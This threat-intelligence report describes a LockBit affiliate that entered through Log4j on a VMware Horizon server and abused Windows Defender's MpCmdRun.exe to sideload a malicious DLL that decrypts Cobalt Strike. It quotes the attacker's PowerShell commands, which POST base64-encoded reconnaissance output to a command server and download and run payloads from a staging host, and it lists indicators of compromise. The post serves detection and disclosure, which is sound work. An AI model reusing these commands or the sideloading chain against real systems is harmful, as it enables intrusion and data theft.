Living Off Windows Defender | LockBit Ransomware Sideloads Cobalt Strike Through Microsoft Security Tool

LockBit has been receiving a fair share of attention recently. Last week, SentinelLabs reported on LockBit 3.0 (aka LockBit Black), describing how the latest iteration of this increasingly prevalent RaaS implemented a series of anti-analysis and anti-debugging routines. Our research was quickly followed up by others reporting similar findings. Meanwhile, back in April, SentinelLabs reported on how a LockBit affiliate was leveraging the legitimate VMware command line utility, VMwareXferlogs.exe, in a live engagement to side load Cobalt Strike.

In this post, we follow up on that incident by describing the use of another legitimate tool used to similar effect by a LockBit operator or affiliate, only this time the tool in question turns out to belong to a security tool: Windows Defender. During a recent investigation, we found that threat actors were abusing the Windows Defender command line tool MpCmdRun.exe to decrypt and load Cobalt Strike payloads.


The initial target compromise happened via the Log4j vulnerability against an unpatched VMWare Horizon Server. The attackers modified the Blast Secure Gateway component of the application installing a web shell using PowerShell code found documented here.

Once initial access had been achieved, the threat actors performed a series of enumeration commands and attempted to run multiple post-exploitation tools, including Meterpreter, PowerShell Empire and a new way to side-load Cobalt Strike.

In particular, when attempting to execute Cobalt Strike we observed a new legitimate tool used for side-loading a malicious DLL, that decrypts the payload.

Previously observed techniques to evade defenses by removing EDR/EPP’s userland hooks, Event Tracing for Windows and Antimalware Scan Interface were also observed.

Attack Chain

Once the attackers gained initial access via the Log4j vulnerability, reconnaissance began using PowerShell to execute commands and exfiltrate the command output via a POST base64 encoded request to an IP. Examples of the reconnaissance activity can be seen below:

powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((whoami)))))powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((nltest /domain_trusts)))))

Once the threat actor acquired sufficient privileges, they attempted to download and execute multiple post-exploitation payloads.

The threat actor downloads a malicious DLL, the encrypted payload and the legitimate tool from their controlled C2:

powershell -c Invoke-WebRequest -uri http://45.32.108[.]54:443/mpclient.dll -OutFile c:\windows\help\windows\mpclient.dll;Invoke-WebRequest -uri http://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\help\windows\c0000015.log;Invoke-WebRequest -uri http://45.32.108[.]54:443/MpCmdRun.exe -OutFile c:\windows\help\windows\MpCmdRun.exe;c:\windows\help\windows\MpCmdRun.exe

Notably, the threat actor leverages the legitimate Windows Defender command line tool MpCmdRun.exe to decrypt and load Cobalt Strike payloads.

We also note the correlation between the IP address used to download the Cobalt Strike payload and the IP address used to perform reconnaissance: shortly after downloading Cobalt Strike the threat actor tried to execute and send the output to the IP starting with 139, as can be seen in both snippets below.

powershell -c Invoke-WebRequest -uri http://45.32.108[.]54:443/glib-2.0.dll -OutFile c:\users\public\glib-2.0.dll;Invoke-WebRequest -uri http://45.32.108[.]54:443/c0000013.log -OutFile c:\users\public\c0000013.log;Invoke-WebRequest -uri http://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\users\public\VMwareXferlogs.exe;c:\users\public\VMwareXferlogs.exe
powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((c:\users\public\VMwareXferlogs.exe)))))

Following the same flow as the sideloading of the VMwareXferlogs.exe utility reported on previously, MpCmd.exe is abused to side-load a weaponized mpclient.dll, which loads and decrypts Cobalt Strike Beacon from the c0000015.log file.

As such, the components used in the attack specifically related to the use of the Windows Defender command line tool are:

Filename Description
mpclient.dll Weaponized DLL loaded by MpCmdRun.exe
MpCmdRun.exe Legitimate/signed Microsoft Defender utility
C0000015.log Encrypted Cobalt Strike payload


Defenders need to be alert to the fact that LockBit ransomware operators and affiliates are exploring and exploiting novel “living off the land” tools to aid them in loading Cobalt Strike beacons and evading some common EDR and traditional AV detection tools.

Importantly, tools that should receive careful scrutiny are any that either the organization or the organization’s security software have made exceptions for. Products like VMware and Windows Defender have a high prevalence in the enterprise and a high utility to threat actors if they are allowed to operate outside of the installed security controls.

Indicators of Compromise

IoC Description
a512215a000d1b21f92dbef5d8d57a420197d262 Malicious glib-2.0.dll
729eb505c36c08860c4408db7be85d707bdcbf1b Malicious glib-2.0.dll
10039d5e5ee5710a067c58e76cd8200451e54b55 Malicious glib-2.0.dll
ff01473073c5460d1e544f5b17cd25dadf9da513 Malicious glib-2.0.dll
e35a702db47cb11337f523933acd3bce2f60346d Encrypted Cobalt Strike payload – c0000015.log
82bd4273fa76f20d51ca514e1070a3369a89313b Encrypted Cobalt Strike payload – c0000015.log
091b490500b5f827cc8cde41c9a7f68174d11302 Decrypted Cobalt Strike payload – c0000015.log
0815277e12d206c5bbb18fd1ade99bf225ede5db Encrypted Cobalt Strike payload – c0000013.log
eed31d16d3673199b34b48fb74278df8ec15ae33 Malicious mpclient.dll
149.28.137[.]7 Cobalt Strike C2
45.32.108[.]54 IP where the attacker staged the malicious payloads to be downloaded
139.180.184[.]147 Attacker C2 used to receive data from executed commands
info.openjdklab[.]xyz Domain used by the mpclient.dll